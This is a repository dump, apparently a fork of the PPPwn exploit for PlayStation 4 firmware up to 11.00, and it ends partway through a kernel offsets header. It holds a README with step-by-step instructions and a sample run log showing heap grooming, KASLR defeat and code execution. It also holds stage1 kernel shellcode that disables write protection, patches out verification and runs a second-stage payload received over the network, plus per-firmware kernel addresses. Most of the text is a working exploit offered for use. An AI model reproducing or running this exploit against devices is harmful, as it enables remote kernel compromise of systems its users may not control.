├── requirements.txt ├── .gitignore ├── stage1 ├── stage1.o ├── start.o ├── stage1.bin ├── stage1.elf ├── linker.ld ├── start.S ├── Makefile ├── stage1.c └── offsets.h ├── stage2 ├── stage2.o ├── start.o ├── stage2.bin ├── stage2.elf ├── start.S ├── linker.ld ├── Makefile ├── offsets.h └── stage2.c ├── ps4-payload-sdk.zip ├── .gitmodules ├── Dockerfile ├── LICENSE ├── README.md ├── offsets.py └── pppwn.py /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.o 3 | *.elf 4 | *.bin 5 | -------------------------------------------------------------------------------- /stage1/stage1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage1/stage1.o -------------------------------------------------------------------------------- /stage1/start.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage1/start.o -------------------------------------------------------------------------------- /stage2/stage2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage2/stage2.o -------------------------------------------------------------------------------- /stage2/start.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage2/start.o -------------------------------------------------------------------------------- /stage1/stage1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage1/stage1.bin -------------------------------------------------------------------------------- /stage1/stage1.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage1/stage1.elf -------------------------------------------------------------------------------- /stage2/stage2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage2/stage2.bin -------------------------------------------------------------------------------- /stage2/stage2.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/stage2/stage2.elf -------------------------------------------------------------------------------- /ps4-payload-sdk.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Master-s/PPPwnGH/HEAD/ps4-payload-sdk.zip -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "freebsd-headers"] 2 | path = freebsd-headers 3 | url = https://github.com/OpenOrbis/freebsd-headers 4 | -------------------------------------------------------------------------------- /stage2/start.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | .intel_syntax noprefix 9 | 10 | .section .text 11 | .global _start 12 | _start: 13 | jmp stage2 14 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM --platform=amd64 ubuntu:latest 2 | ARG PS4FWVER=1100 3 | RUN apt update && apt install -y build-essential 4 | RUN mkdir /build 5 | COPY . ./build 6 | WORKDIR /build 7 | RUN mkdir /output 8 | RUN make -C stage1 FW=$PS4FWVER clean && make -C stage1 FW=$PS4FWVER && cp stage1/stage1.bin /output 9 | RUN make -C stage2 FW=$PS4FWVER clean && make -C stage2 FW=$PS4FWVER && cp stage2/stage2.bin /output 10 | ENTRYPOINT ["/bin/sh", "-c", "cp -Rvr /output/* /host"] -------------------------------------------------------------------------------- /stage1/linker.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") 2 | OUTPUT_ARCH(i386:x86-64) 3 | 4 | ENTRY(_start) 5 | 6 | PHDRS 7 | { 8 | text PT_LOAD ; 9 | rodata PT_LOAD ; 10 | data PT_LOAD ; 11 | bss PT_LOAD ; 12 | } 13 | 14 | SECTIONS 15 | { 16 | .text : { *(.text) } :text 17 | .rodata : { *(.rodata) *(.rodata.*) } :rodata 18 | .data : { *(.data) } :data 19 | .bss : { *(.bss) *(COMMON) } :bss 20 | .shstrtab : { *(.shstrtab) } 21 | /DISCARD/ : { *(*) } 22 | } 23 | -------------------------------------------------------------------------------- /stage2/linker.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") 2 | OUTPUT_ARCH(i386:x86-64) 3 | 4 | ENTRY(_start) 5 | 6 | PHDRS 7 | { 8 | text PT_LOAD ; 9 | rodata PT_LOAD ; 10 | data PT_LOAD ; 11 | bss PT_LOAD ; 12 | } 13 | 14 | SECTIONS 15 | { 16 | .text : { *(.text) } :text 17 | .rodata : { *(.rodata) *(.rodata.*) } :rodata 18 | .data : { *(.data) } :data 19 | .bss : { *(.bss) *(COMMON) } :bss 20 | .shstrtab : { *(.shstrtab) } 21 | /DISCARD/ : { *(*) } 22 | } 23 | -------------------------------------------------------------------------------- /stage1/start.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | .intel_syntax noprefix 9 | 10 | #define SOFTCLOCK_STACK_SIZE 0x88 11 | #define ND6_LLINFO_TIMER_STACK_SIZE 0x38 12 | 13 | .section .text 14 | .global _start 15 | _start: 16 | call stage1 17 | 18 | # Restore rsp 19 | mov rsp, rbx 20 | sub rsp, (SOFTCLOCK_STACK_SIZE + ND6_LLINFO_TIMER_STACK_SIZE) 21 | 22 | # nd6_llinfo_timer epiloque 23 | add rsp, 8 24 | pop rbx 25 | pop r12 26 | pop r13 27 | pop r14 28 | pop r15 29 | pop rbp 30 | ret 31 | -------------------------------------------------------------------------------- /stage1/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = stage1 2 | OBJS = start.o stage1.o 3 | 4 | CC = gcc 5 | OBJCOPY = objcopy 6 | CFLAGS = -DSMP -isystem ../freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector 7 | LDFLAGS = -T linker.ld -nostartfiles -nostdlib 8 | 9 | ifneq ($(filter $(FW), 750 751 755 800 801 803 850 852 900 903 904 950 951 960 1000 1001 1050 1070 1071 1100),) 10 | CFLAGS += -DFIRMWARE=$(FW) 11 | else 12 | $(error "Invalid firmware") 13 | endif 14 | 15 | all: $(TARGET).bin 16 | 17 | %.bin: %.elf 18 | $(OBJCOPY) -S -O binary $^ $@ 19 | 20 | $(TARGET).elf: $(OBJS) 21 | $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) 22 | 23 | clean: 24 | @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) 25 | -------------------------------------------------------------------------------- /stage2/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = stage2 2 | OBJS = start.o stage2.o 3 | 4 | CC = gcc 5 | OBJCOPY = objcopy 6 | CFLAGS = -DSMP -isystem ../freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector 7 | LDFLAGS = -T linker.ld -nostartfiles -nostdlib 8 | 9 | ifneq ($(filter $(FW), 750 751 755 800 801 803 850 852 900 903 904 950 951 960 1000 1001 1050 1070 1071 1100),) 10 | CFLAGS += -DFIRMWARE=$(FW) 11 | else 12 | $(error "Invalid firmware") 13 | endif 14 | 15 | all: $(TARGET).bin 16 | 17 | %.bin: %.elf 18 | $(OBJCOPY) -S -O binary $^ $@ 19 | 20 | $(TARGET).elf: $(OBJS) 21 | $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) 22 | 23 | clean: 24 | @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (C) 2024 Andy Nguyen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /stage1/stage1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | // clang-format off 9 | #define _KERNEL 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "offsets.h" 22 | // clang-format on 23 | 24 | #define STAGE2_PORT 9020 25 | #define STAGE2_SIZE 0x4000 26 | 27 | #define IFS6_OUT_MSG 0x88 28 | #define IFS6_OUT_NEIGHBORSOLICIT 0xe0 29 | 30 | #define CC_CALLWHEEL 0x40 31 | 32 | #define CALLOUT_CPU_SIZE 0x80 33 | 34 | struct llentry { 35 | LIST_ENTRY(llentry) lle_next; 36 | struct rwlock lle_lock; 37 | struct lltable *lle_tbl; 38 | }; 39 | 40 | LIST_HEAD(llentries, llentry); 41 | 42 | static inline uint64_t rdmsr(u_int msr) { 43 | uint32_t low, high; 44 | asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); 45 | return (low | ((uint64_t)high << 32)); 46 | } 47 | 48 | static inline void load_cr0(u_long data) { 49 | asm volatile("movq %0, %%cr0" ::"r"(data)); 50 | } 51 | 52 | static inline u_long rcr0(void) { 53 | u_long data; 54 | asm volatile("movq %%cr0, %0" : "=r"(data)); 55 | return data; 56 | } 57 | 58 | static inline void enable_intr(void) { asm volatile("sti"); } 59 | static inline void disable_intr(void) { asm volatile("cli" ::: "memory"); } 60 | 61 | static void stage2_proc(void *arg) { 62 | uint64_t kaslr_offset = (uint64_t)arg; 63 | 64 | void (*kproc_exit)(int) = (void *)kdlsym(kproc_exit); 65 | 66 | void **kernel_map = (void **)kdlsym(kernel_map); 67 | void *(*kmem_alloc)(void *, uint64_t) = (void *)kdlsym(kmem_alloc); 68 | 69 | int (*ksock_create)(void **so, int domain, int type, int protocol) = 70 | (void *)kdlsym(ksock_create); 71 | int (*ksock_close)(void *so) = (void *)kdlsym(ksock_close); 72 | int (*ksock_bind)(void *so, struct sockaddr *addr) = 73 | (void *)kdlsym(ksock_bind); 74 | int (*ksock_recv)(void *so, void *buf, size_t *len) = 75 | (void *)kdlsym(ksock_recv); 76 | 77 | void *so; 78 | ksock_create(&so, AF_INET, SOCK_DGRAM, 0); 79 | 80 | struct sockaddr_in sin = {}; 81 | sin.sin_len = sizeof(sin); 82 | sin.sin_family = AF_INET; 83 | sin.sin_port = __builtin_bswap16(STAGE2_PORT); 84 | sin.sin_addr.s_addr = __builtin_bswap32(INADDR_ANY); 85 | ksock_bind(so, (struct sockaddr *)&sin); 86 | 87 | void *stage2 = kmem_alloc(*kernel_map, STAGE2_SIZE); 88 | size_t size = STAGE2_SIZE; 89 | ksock_recv(so, stage2, &size); 90 | 91 | ksock_close(so); 92 | 93 | void (*entry)(void) = (void *)stage2; 94 | entry(); 95 | 96 | kproc_exit(0); 97 | } 98 | 99 | void stage1(void) { 100 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 101 | 102 | void (*setidt)(int idx, void *func, int typ, int dpl, int ist) = 103 | (void *)kdlsym(setidt); 104 | int (*kproc_create)(void (*)(void *), void *, void **, int flags, int pages, 105 | const char *, ...) = (void *)kdlsym(kproc_create); 106 | 107 | // Disable write protection 108 | uint64_t cr0 = rcr0(); 109 | load_cr0(cr0 & ~CR0_WP); 110 | 111 | // Enable UART 112 | *(uint8_t *)kdlsym(uart_patch) = 0; 113 | 114 | // Disable veri 115 | *(uint16_t *)kdlsym(veri_patch) = 0x9090; 116 | 117 | // Restore write protection 118 | load_cr0(cr0); 119 | 120 | // Restore UD handler 121 | setidt(IDT_UD, (void *)kdlsym(Xill), SDT_SYSIGT, SEL_KPL, 0); 122 | 123 | // Fix corruption done by nd6_ns_output 124 | uintptr_t pppoe_softc_list = (uintptr_t)kdlsym(pppoe_softc_list); 125 | (*(uint64_t *)(pppoe_softc_list + IFS6_OUT_MSG)) -= 2; 126 | (*(uint64_t *)(pppoe_softc_list + IFS6_OUT_NEIGHBORSOLICIT)) -= 2; 127 | 128 | // Fix corrupted in6_llentry object 129 | int callwheelsize = *(int *)kdlsym(callwheelsize); 130 | for (int i = 0; i < MAXCPU; i++) { 131 | uintptr_t cc = kdlsym(cc_cpu) + i * CALLOUT_CPU_SIZE; 132 | 133 | struct callout_tailq *cc_callwheel = 134 | *(struct callout_tailq **)(cc + CC_CALLWHEEL); 135 | if (!cc_callwheel) continue; 136 | 137 | for (int j = 0; j < callwheelsize; j++) { 138 | struct callout_tailq *sc = &cc_callwheel[j]; 139 | struct callout *c; 140 | TAILQ_FOREACH(c, sc, c_links.tqe) { 141 | if (c->c_func == (void *)kdlsym(nd6_llinfo_timer)) { 142 | struct llentry *lle = (struct llentry *)c->c_arg; 143 | struct llentry *lle_next = (struct llentry *)lle->lle_next.le_next; 144 | struct llentry *lle_prev = (struct llentry *)lle->lle_next.le_prev; 145 | 146 | // Fix le_prev and lle_tbl 147 | if (lle_next && lle_next->lle_next.le_prev != (void *)lle) { 148 | lle_next->lle_next.le_prev = (void *)lle; 149 | lle_next->lle_tbl = lle->lle_tbl; 150 | } 151 | 152 | // Fix le_next and lle_tbl 153 | if (lle_prev && lle_prev->lle_next.le_next != (void *)lle) { 154 | lle_prev->lle_next.le_next = (void *)lle; 155 | lle_next->lle_tbl = lle->lle_tbl; 156 | } 157 | } 158 | } 159 | } 160 | } 161 | 162 | // Start stage2 process 163 | enable_intr(); 164 | kproc_create(stage2_proc, (void *)kaslr_offset, NULL, 0, 0, "stage2"); 165 | disable_intr(); 166 | } 167 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PPPwn - PlayStation 4 PPPoE RCE 2 | PPPwn is a kernel remote code execution exploit for PlayStation 4 up to FW 11.00. This is a proof-of-concept exploit for [CVE-2006-4304](https://hackerone.com/reports/2177925) that was reported responsibly to PlayStation. 3 | 4 | Supported versions are: 5 | - FW 7.50 / 7.51 / 7.55 6 | - FW 8.00 / 8.01 / 8.03 7 | - FW 8.50 / 8.52 8 | - FW 9.00 9 | - FW 9.03 / 9.04 10 | - FW 9.50 / 9.51 / 9.60 11 | - FW 10.00 / 10.01 12 | - FW 10.50 / 10.70 / 10.71 13 | - FW 11.00 14 | - more can be added (PRs are welcome) 15 | 16 | The exploit only prints `PPPwned` on your PS4 as a proof-of-concept. In order to launch Mira or similar homebrew enablers, the `stage2.bin` payload needs to be adapted. 17 | 18 | ## Requirements 19 | - A computer with an Ethernet port 20 | - USB adapter also works 21 | - Ethernet cable 22 | - Linux 23 | - You can use VirtualBox to create a Linux VM with `Bridged Adapter` as network adapter to use the ethernet port in the VM. 24 | - Python3 and gcc installed 25 | 26 | ## Usage 27 | 28 | On your computer, clone the repository: 29 | 30 | ```sh 31 | git clone --recursive https://github.com/TheOfficialFloW/PPPwn 32 | ``` 33 | 34 | Change the directory to the cloned repository: 35 | 36 | ```sh 37 | cd PPPwn 38 | ``` 39 | 40 | Install the requirements: 41 | 42 | ```sh 43 | sudo pip install -r requirements.txt 44 | ``` 45 | 46 | Compile the payloads: 47 | 48 | ```sh 49 | make -C stage1 FW=1100 clean && make -C stage1 FW=1100 50 | make -C stage2 FW=1100 clean && make -C stage2 FW=1100 51 | ``` 52 | 53 | For other firmwares, e.g. FW 9.00, pass `FW=900`. 54 | 55 | DO NOT RUN the exploit just yet (don't press Enter yet) but prepare this command on your prompt (see `ifconfig` for the correct interface): 56 | 57 | ```sh 58 | sudo python3 pppwn.py --interface=enp0s3 --fw=1100 59 | ``` 60 | 61 | For other firmwares, e.g. FW 9.00, pass `--fw=900`. 62 | 63 | On your PS4: 64 | 65 | - Go to `Settings` and then `Network` 66 | - Select `Set Up Internet connection` and choose `Use a LAN Cable` 67 | - Choose `Custom` setup and choose `PPPoE` for `IP Address Settings` 68 | - Enter anything for `PPPoE User ID` and `PPPoE Password` 69 | - Choose `Automatic` for `DNS Settings` and `MTU Settings` 70 | - Choose `Do Not Use` for `Proxy Server` 71 | 72 | - Now, simultaneously press the 'X' button on your controller on `Test Internet Connection` and 'Enter' on your keyboard (on the computer you have your Python script ready to run). 73 | 74 | ALWAYS wait for the console to show the message "Cannot connect to network: (NW-31274-7)" before trying this PPPOE injection again. 75 | 76 | If the exploit fails or the PS4 crashes, you can skip the internet setup and simply click on `Test Internet Connection`. Kill the `pppwn.py` script and run it again on your computer, and then click on `Test Internet Connection` on your PS4: always simultaneously. 77 | 78 | 79 | If the exploit works, you should see an output similar to below, and you should see `Cannot connect to network.` followed by `PPPwned` printed on your PS4, or the other way around. 80 | 81 | ### Example run 82 | 83 | ```sh 84 | [+] PPPwn - PlayStation 4 PPPoE RCE by theflow 85 | [+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin 86 | 87 | [+] STAGE 0: Initialization 88 | [*] Waiting for PADI... 89 | [+] pppoe_softc: 0xffffabd634beba00 90 | [+] Target MAC: xx:xx:xx:xx:xx:xx 91 | [+] Source MAC: 07:ba:be:34:d6:ab 92 | [+] AC cookie length: 0x4e0 93 | [*] Sending PADO... 94 | [*] Waiting for PADR... 95 | [*] Sending PADS... 96 | [*] Waiting for LCP configure request... 97 | [*] Sending LCP configure ACK... 98 | [*] Sending LCP configure request... 99 | [*] Waiting for LCP configure ACK... 100 | [*] Waiting for IPCP configure request... 101 | [*] Sending IPCP configure NAK... 102 | [*] Waiting for IPCP configure request... 103 | [*] Sending IPCP configure ACK... 104 | [*] Sending IPCP configure request... 105 | [*] Waiting for IPCP configure ACK... 106 | [*] Waiting for interface to be ready... 107 | [+] Target IPv6: fe80::2d9:d1ff:febc:83e4 108 | [+] Heap grooming...done 109 | 110 | [+] STAGE 1: Memory corruption 111 | [+] Pinning to CPU 0...done 112 | [*] Sending malicious LCP configure request... 113 | [*] Waiting for LCP configure request... 114 | [*] Sending LCP configure ACK... 115 | [*] Sending LCP configure request... 116 | [*] Waiting for LCP configure ACK... 117 | [*] Waiting for IPCP configure request... 118 | [*] Sending IPCP configure NAK... 119 | [*] Waiting for IPCP configure request... 120 | [*] Sending IPCP configure ACK... 121 | [*] Sending IPCP configure request... 122 | [*] Waiting for IPCP configure ACK... 123 | [+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141 124 | 125 | [+] STAGE 2: KASLR defeat 126 | [*] Defeating KASLR... 127 | [+] pppoe_softc_list: 0xffffffff884de578 128 | [+] kaslr_offset: 0x3ffc000 129 | 130 | [+] STAGE 3: Remote code execution 131 | [*] Sending LCP terminate request... 132 | [*] Waiting for PADI... 133 | [+] pppoe_softc: 0xffffabd634beba00 134 | [+] Target MAC: xx:xx:xx:xx:xx:xx 135 | [+] Source MAC: 97:df:ea:86:ff:ff 136 | [+] AC cookie length: 0x511 137 | [*] Sending PADO... 138 | [*] Waiting for PADR... 139 | [*] Sending PADS... 140 | [*] Triggering code execution... 141 | [*] Waiting for stage1 to resume... 142 | [*] Sending PADT... 143 | [*] Waiting for PADI... 144 | [+] pppoe_softc: 0xffffabd634be9200 145 | [+] Target MAC: xx:xx:xx:xx:xx:xx 146 | [+] AC cookie length: 0x0 147 | [*] Sending PADO... 148 | [*] Waiting for PADR... 149 | [*] Sending PADS... 150 | [*] Waiting for LCP configure request... 151 | [*] Sending LCP configure ACK... 152 | [*] Sending LCP configure request... 153 | [*] Waiting for LCP configure ACK... 154 | [*] Waiting for IPCP configure request... 155 | [*] Sending IPCP configure NAK... 156 | [*] Waiting for IPCP configure request... 157 | [*] Sending IPCP configure ACK... 158 | [*] Sending IPCP configure request... 159 | [*] Waiting for IPCP configure ACK... 160 | 161 | [+] STAGE 4: Arbitrary payload execution 162 | [*] Sending stage2 payload... 163 | [+] Done! 164 | ``` 165 | 166 | ## Notes for Mac Apple Silicon Users (arm64 / aarch64) 167 | The code will not compile on Apple Silicon and requires AMD64 architecture. 168 | There is a workaround using docker which will build the bin files required. 169 | Clone this repository to your mac system, then from the repo folder run `./build-macarm.sh`. This will build the binaries for PS4 FW 1100 and place the necessary files into the correct folders. To build the binaries for a different version, i.e. 900, run the command as such: `./build-macarm.sh 900`. Once built, copy this folder structure into the Linux VM and execute as instructed above. 170 | This has been tested using VMware Fusion 13.5.1, with the VM Guest as Ubuntu 24.04, and the host machine is MacOS 14.4.1 171 | 172 | ## Notes for GoldHEN version 173 | This loader only supports payloads with a kernel entrypoint. 174 | The custom version of stage2 first looks for the payload in the root directory of the USB drive, and if found, it is copied to the internal HDD at this path: /data/GoldHEN/payloads/goldhen.bin. The internal payload is then loaded and is no longer needed on the external USB drive. 175 | At the moment, only firmware versions 9.00 and 11.00 are supported. Soon, versions 10.00/10.01 will also be supported. 176 | 177 | ## Notes for PS4 Backup includes GoldHEN 178 | ✅PS4 Backup includes GoldHEN 900 - 1100 179 | 180 | ⭐The path has been moved so it is in backup 181 | /user/home/GH/goldhen.bin 182 | 183 | ⚠People who have a problem with USB flash 184 | drives 185 | 186 | 🎞Video 187 | https://youtu.be/iCmHTeToQPU 188 | -------------------------------------------------------------------------------- /stage2/offsets.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | #ifndef __OFFSETS_H__ 9 | #define __OFFSETS_H__ 10 | 11 | #if (FIRMWARE == 750 || FIRMWARE == 751 || FIRMWARE == 755) // FW 7.50 / FW 7.51 / FW 7.55 12 | 13 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 14 | 15 | #define kdlsym_addr_printf 0xffffffff8246f740 16 | 17 | #define kdlsym_addr_sysent 0xffffffff83322340 18 | 19 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 20 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 21 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 22 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 23 | 24 | #define kdlsym_addr_copyin_patch1 0xffffffff8248fa47 25 | #define kdlsym_addr_copyin_patch2 0xffffffff8248fa53 26 | 27 | #define kdlsym_addr_copyout_patch1 0xffffffff8248f952 28 | #define kdlsym_addr_copyout_patch2 0xffffffff8248f95e 29 | 30 | #define kdlsym_addr_copyinstr_patch1 0xffffffff8248fef3 31 | #define kdlsym_addr_copyinstr_patch2 0xffffffff8248feff 32 | #define kdlsym_addr_copyinstr_patch3 0xffffffff8248ff30 33 | 34 | #elif (FIRMWARE == 800 || FIRMWARE == 801 || FIRMWARE == 803) // FW 8.00 / 8.01 / 8.03 35 | 36 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 37 | 38 | #define kdlsym_addr_printf 0xffffffff82630ae0 39 | 40 | #define kdlsym_addr_sysent 0xffffffff832fc4d0 41 | 42 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 43 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 44 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 45 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 46 | 47 | #define kdlsym_addr_copyin_patch1 0xffffffff8245e407 48 | #define kdlsym_addr_copyin_patch2 0xffffffff8245e413 49 | 50 | #define kdlsym_addr_copyout_patch1 0xffffffff8245e312 51 | #define kdlsym_addr_copyout_patch2 0xffffffff8245e31e 52 | 53 | #define kdlsym_addr_copyinstr_patch1 0xffffffff8245e8b3 54 | #define kdlsym_addr_copyinstr_patch2 0xffffffff8245e8bf 55 | #define kdlsym_addr_copyinstr_patch3 0xffffffff8245e8f0 56 | 57 | 58 | #elif (FIRMWARE == 850 || FIRMWARE == 852) // FW 8.50 / 8.52 59 | 60 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 61 | 62 | #define kdlsym_addr_printf 0xffffffff8235d570 63 | 64 | #define kdlsym_addr_sysent 0xffffffff832fc5c0 65 | 66 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 // Identical to 9.00 67 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 // Identical to 9.00 68 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 // Identical to 9.00 69 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 // Identical to 9.00 70 | 71 | #define kdlsym_addr_copyin_patch1 0xffffffff825a4337 72 | #define kdlsym_addr_copyin_patch2 0xffffffff825a4343 73 | 74 | #define kdlsym_addr_copyout_patch1 0xffffffff825a4242 75 | #define kdlsym_addr_copyout_patch2 0xffffffff825a424e 76 | 77 | #define kdlsym_addr_copyinstr_patch1 0xffffffff825a47e3 78 | #define kdlsym_addr_copyinstr_patch2 0xffffffff825a47ef 79 | #define kdlsym_addr_copyinstr_patch3 0xffffffff825a4820 80 | 81 | 82 | #elif FIRMWARE == 900 // FW 9.00 83 | 84 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 85 | 86 | #define kdlsym_addr_printf 0xffffffff822b7a30 87 | 88 | #define kdlsym_addr_sysent 0xffffffff83300310 89 | 90 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 91 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 92 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 93 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 94 | 95 | #define kdlsym_addr_copyin_patch1 0xffffffff824716f7 96 | #define kdlsym_addr_copyin_patch2 0xffffffff82471703 97 | 98 | #define kdlsym_addr_copyout_patch1 0xffffffff82471602 99 | #define kdlsym_addr_copyout_patch2 0xffffffff8247160e 100 | 101 | #define kdlsym_addr_copyinstr_patch1 0xffffffff82471ba3 102 | #define kdlsym_addr_copyinstr_patch2 0xffffffff82471baf 103 | #define kdlsym_addr_copyinstr_patch3 0xffffffff82471be0 104 | 105 | #define kdlsym_addr_kernel_map 0xffffffff84468d48 106 | #define kdlsym_addr_kmem_alloc 0xffffffff8257be70 107 | #define kdlsym_addr_kmem_free 0xffffffff8257c040 108 | 109 | #define kdlsym_addr_sceKernelSendNotificationRequest 0xffffffff825a1b30 110 | #define kdlsym_addr_vsprintf 0xffffffff822b7d00 111 | #define kdlsym_addr_snprintf 0xffffffff822b7d30 112 | #define kdlsym_addr_strlen 0xffffffff8250f450 113 | 114 | 115 | #elif (FIRMWARE == 903 || FIRMWARE == 904) // FW 9.03 / 9.04 116 | 117 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 // Identical to 9.00 118 | 119 | #define kdlsym_addr_printf 0xffffffff822b79e0 120 | 121 | #define kdlsym_addr_sysent 0xffffffff832fc310 122 | 123 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 // Identical to 9.00 124 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 // Identical to 9.00 125 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 // Identical to 9.00 126 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 // Identical to 9.00 127 | 128 | #define kdlsym_addr_copyin_patch1 0xffffffff82471377 129 | #define kdlsym_addr_copyin_patch2 0xffffffff82471383 130 | 131 | #define kdlsym_addr_copyout_patch1 0xffffffff82471282 132 | #define kdlsym_addr_copyout_patch2 0xffffffff8247128e 133 | 134 | #define kdlsym_addr_copyinstr_patch1 0xffffffff82471823 135 | #define kdlsym_addr_copyinstr_patch2 0xffffffff8247182f 136 | #define kdlsym_addr_copyinstr_patch3 0xffffffff82471860 137 | 138 | 139 | #elif (FIRMWARE == 950 || FIRMWARE == 951 || FIRMWARE == 960) // FW 9.50 / 9.51 / 9.60 140 | 141 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 142 | #define kdlsym_addr_printf 0xffffffff82405470 143 | 144 | #define kdlsym_addr_sysent 0xffffffff832f92f0 145 | 146 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 147 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 148 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 149 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 150 | 151 | #define kdlsym_addr_copyin_patch1 0xffffffff82401f07 152 | #define kdlsym_addr_copyin_patch2 0xffffffff82401f13 153 | 154 | #define kdlsym_addr_copyout_patch1 0xffffffff82401e12 155 | #define kdlsym_addr_copyout_patch2 0xffffffff82401e1e 156 | 157 | #define kdlsym_addr_copyinstr_patch1 0xffffffff824023b3 158 | #define kdlsym_addr_copyinstr_patch2 0xffffffff824023bf 159 | #define kdlsym_addr_copyinstr_patch3 0xffffffff824023f0 160 | 161 | 162 | #elif (FIRMWARE == 1000 || FIRMWARE == 1001) // FW 10.00 / 10.01 163 | 164 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 165 | #define kdlsym_addr_printf 